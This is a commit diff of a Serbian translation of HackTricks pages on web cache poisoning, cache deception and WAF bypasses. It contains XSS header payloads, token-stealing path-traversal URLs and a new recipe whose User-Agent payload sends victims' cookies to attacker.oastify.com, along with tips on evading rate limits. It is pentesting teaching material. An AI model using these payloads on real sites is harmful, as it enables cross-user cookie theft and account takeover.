Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

This commit is contained in:
Translator 2025-08-21 06:07:44 +00:00
parent 9e1aa523f3
commit becb7bc950
2 changed files with 121 additions and 66 deletions

View File

@ -11,7 +11,7 @@
## Cache Poisoning
Cache poisoning ima za cilj manipulaciju kešom na klijentskoj strani kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
Cache poisoning ima za cilj manipulaciju kešom na strani klijenta kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.
Izvršenje napada cache poisoning uključuje nekoliko koraka:
@ -43,11 +43,11 @@ Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a98
```
### Izazivanje štetnog odgovora sa back-end servera
Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde** se **odražava** ili utiče na odgovor iz hedera. Možete li to zloupotrebiti na bilo koji način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)
Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde** se **odražava** ili utiče na odgovor iz hedera. Možete li to iskoristiti na neki način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)
### Dobijanje keširanog odgovora
Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Kada ste **identifikovali** **stranicu** koja se može iskoristiti, koji **parametar**/**heder** koristiti i **kako** ga **iskoristiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`
@ -62,7 +62,7 @@ Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od
### Najlakši primer
Heder poput `X-Forwarded-For` se odražava u odgovoru bez sanitizacije.\
Heder kao što je `X-Forwarded-For` se odražava u odgovoru bez sanitizacije.\
Možete poslati osnovni XSS payload i otrovati keš tako da svako ko pristupi stranici bude XSS-ovan:
```html
GET /en?region=uk HTTP/1.1
@ -71,13 +71,13 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_
### Trovanje keša za DoS
### Trovanje kešom za DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Trovanje keša kroz CDN-ove
### Trovanje kešom kroz CDN-ove
U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario:
@ -85,7 +85,7 @@ U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.ht
- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **putanja za pristup drugim osetljivim lokacijama koje će biti keširane** kao što je `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**.
### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima
### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima
Kolačići se takođe mogu odraziti na odgovoru stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor.
```html
@ -93,7 +93,7 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.
Napomena da ako je ranjivi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.
### Generisanje razlika sa delimiterima, normalizacijom i tačkama <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
@ -103,9 +103,9 @@ Proverite:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Trovanje keša sa prolazom kroz putanju za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Trovanje keša sa prelazom putanje za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do veb servera.
Ovo je takođe bolje objašnjeno u:
@ -113,18 +113,18 @@ Ovo je takođe bolje objašnjeno u:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja web keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja veb keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Ponekad ćete morati da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Iskorišćavanje sa ograničenim `Vary` header-om
### Iskorišćavanje sa ograničenim `Vary` zaglavljem
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu:
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github veb sajtu:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,55 +144,91 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
### Parameter Cloaking
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje.
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti parametara bez ključeva unutar onih sa ključevima i njihovo zloupotrebljavanje.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Saznajte ovde kako izvesti [Cache Poisoning napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning-a. Podržava mnoge različite tehnike i veoma je prilagodljiv.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Primer korišćenja: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ovaj obrazac iz stvarnog sveta povezuje refleksivnu primitivu zasnovanu na headeru sa ponašanjem CDN/WAF kako bi pouzdano otrovao keširani HTML koji se servira drugim korisnicima:
- Glavni HTML je reflektovao nepouzdani header zahteva (npr., `User-Agent`) u izvršni kontekst.
- CDN je uklonio keš header-e, ali je postojao interni/origin keš. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr., `.js`), dok je WAF primenio slabiju inspekciju sadržaja na GET-ove za statičke resurse.
- Čudne karakteristike toka zahteva omogućile su da zahtev za `.js` putanjom utiče na keš ključ/varijantu koja se koristi za sledeći glavni HTML, omogućavajući cross-user XSS putem refleksije headera.
Praktični recept (posmatrano na popularnom CDN/WAF):
1) Sa čistog IP-a (izbegavajte prethodne degradacije zasnovane na reputaciji), postavite zlonameran `User-Agent` putem pregledača ili Burp Proxy Match & Replace.
2) U Burp Repeater-u, pripremite grupu od dva zahteva i koristite "Send group in parallel" (jedan paket mod najbolje funkcioniše):
- Prvi zahtev: GET resurs putanje `.js` na istom originu dok šaljete svoj zlonamerni `User-Agent`.
- Odmah nakon: GET glavne stranice (`/`).
3) Trka usmeravanja CDN/WAF plus automatski keširani `.js` često zasadi otrovanu varijantu keširanog HTML-a koja se zatim servira drugim posetiocima koji dele iste uslove keš ključeva (npr., iste `Vary` dimenzije kao `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Mnogi CDN-ovi skrivaju zaglavlja keša; trovanje može da se pojavi samo na višesatnim ciklusima osvežavanja. Koristite više IP adresa i usporite kako biste izbegli okvire brzine ili okidače reputacije.
- Korišćenje IP adrese iz vlastitog oblaka CDN-a ponekad poboljšava doslednost rutiranja.
- Ako je prisutan strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili se zaobilazi kontekstom.
Impact:
- Ako sesijski kolačići nisu `HttpOnly`, moguće je preuzimanje naloga bez klika masovnim eksfiltriranjem `document.cookie` od svih korisnika kojima je poslužena otrovana HTML stranica.
Defenses:
- Prestanite da reflektujete zaglavlja zahteva u HTML; strogo kodirajte kontekst ako je neizbežno. Usaglasite politike keširanja CDN-a i porekla i izbegavajte varijacije na nepouzdanim zaglavljima.
- Osigurajte da WAF dosledno primenjuje inspekciju sadržaja na `.js` zahteve i statičke putanje.
- Postavite `HttpOnly` (i `Secure`, `SameSite`) na sesijske kolačiće.
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat na backend kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.
### GitHub CP-DoS
Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike.
Slanje loše vrednosti u zaglavlju content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautorizovane korisnike.
### GitLab + GCP CP-DoS
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **zaglavlje `x-http-method-override`**. Tako je bilo moguće poslati zaglavlje `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla da se podrži metoda `PURGE`.
### Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost zaglavlja **`x-forwarded-scheme`** i postavi je kao shemu zahteva. Kada se pošalje zaglavlje `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati uskraćivanje usluge (DoS) za taj resurs. Pored toga, aplikacija može da prepozna zaglavlje `X-forwarded-host` i preusmeri korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
### 403 and Storage Buckets
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization zaglavljima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
### Injecting Keyed Parameters
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
### User Agent Rules
Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS.
Neki programeri blokiraju zahteve sa user-agentima koji se poklapaju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su trovanje keša i DoS.
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u nazivima headera. Headeri koji sadrže karaktere van specificiranog **tchar** opsega bi idealno trebali izazvati 400 Bad Request odgovor. U praksi, serveri ne prate uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira svaku 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je iskoristiv obrazac gde slanje headera sa nelegalnim karakterom, kao što je `\`, rezultira keširanom 400 Bad Request greškom.
[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van specificiranog **tchar** opsega trebala bi idealno da izazovu 400 Bad Request odgovor. U praksi, serveri ne poštuju uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira svaku 400 grešku, sve dok zaglavlje `cache-control` nije prisutno. Identifikovan je iskoristiv obrazac gde slanje zaglavlja sa nelegalnim karakterom, kao što je `\`, dovodi do keširane 400 Bad Request greške.
### Finding new headers
@ -202,7 +238,7 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v
Cilj Cache Deception-a je da natera klijente **da učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replayuje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Druge stvari koje treba testirati:
@ -217,13 +253,13 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku).
Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Saznajte ovde kako izvesti [Cache Deceptions napade koristeći HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti web cache poisoning u listi URL-ova i testiranje više tehnika injekcije.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti trovanja web keša u listi URL-ova i testiranje više tehnika injekcije.
## References
@ -233,6 +269,7 @@ Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Sm
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -22,32 +22,32 @@ Da bi se sprečili zaobilaženja, Nginx vrši normalizaciju putanje pre nego št
### **NodeJS - Express**
| Nginx Verzija | **Node.js Karakteri za zaobilaženje** |
| ------------- | ------------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Verzija | **Flask Karakteri za zaobilaženje** |
| ------------- | --------------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| Nginx Verzija | **Flask Karakteri za zaobilaženje** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Verzija | **Spring Boot Karakteri za zaobilaženje** |
| ------------- | ------------------------------------------ |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx je podešen da blokira pristup `/admin.php`, ali je moguće zaobići ovo pristupom `/admin.php/index.php`.
Nginx je konfigurisan da blokira pristup `/admin.php`, ali je moguće zaobići ovo pristupom `/admin.php/index.php`.
### Kako sprečiti
```plaintext
@ -75,7 +75,7 @@ deny all;
### Path Confusion
[**U ovom postu**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) objašnjeno je da ModSecurity v3 (do 3.0.12), **nepravilno implementira `REQUEST_FILENAME`** varijablu koja je trebala da sadrži pristupnu putanju (do početka parametara). To je zato što je izvršavao URL dekodiranje da bi dobio putanju.\
Zbog toga, zahtev kao što je `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` jer se `%3f` transformiše u `?`, završavajući URL putanju, ali zapravo putanja koju server prima biće `/foo%3f';alert(1);foo=`.
Zbog toga, zahtev kao `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` jer se `%3f` transformiše u `?` koji završava URL putanju, ali zapravo putanja koju server prima biće `/foo%3f';alert(1);foo=`.
Varijable `REQUEST_BASENAME` i `PATH_INFO` su takođe bile pogođene ovim greškom.
@ -85,7 +85,7 @@ Nešto slično se dogodilo u verziji 2 Mod Security koja je omogućila zaobilaž
### Malformed Header
[Ova istraživanja](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) pominje da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavlja slanjem "neispravnog" zaglavlja koje nije pravilno analizirano od strane AWS-a, ali jeste od strane backend servera.
[Ova istraživanja](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) pominju da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavljima slanjem "neispravnog" zaglavlja koje AWS nije pravilno obradio, ali je backend server to učinio.
Na primer, slanjem sledećeg zahteva sa SQL injekcijom u zaglavlju X-Query:
```http
@ -96,24 +96,24 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Moguće je bilo zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja dok je NODEJS server to razumeo (ovo je ispravljeno).
Moguće je bilo zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja, dok je NODEJS server to razumeo (ovo je ispravljeno).
## Opšti WAF zaobilaženja
### Ograničenja veličine zahteva
Obično WAF-ovi imaju određeno ograničenje dužine zahteva za proveru i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.
Obično WAF-ovi imaju određeno ograničenje dužine zahteva koje proveravaju, i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.
- Za AWS WAF, možete [**proveriti dokumentaciju**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td> Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync</td><td>8 KB</td></tr><tr><td> Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync</td><td>8 KB</td></tr><tr><td>Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**</td><td>64 KB</td></tr></tbody></table>
- Iz [**Azure dokumenata**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
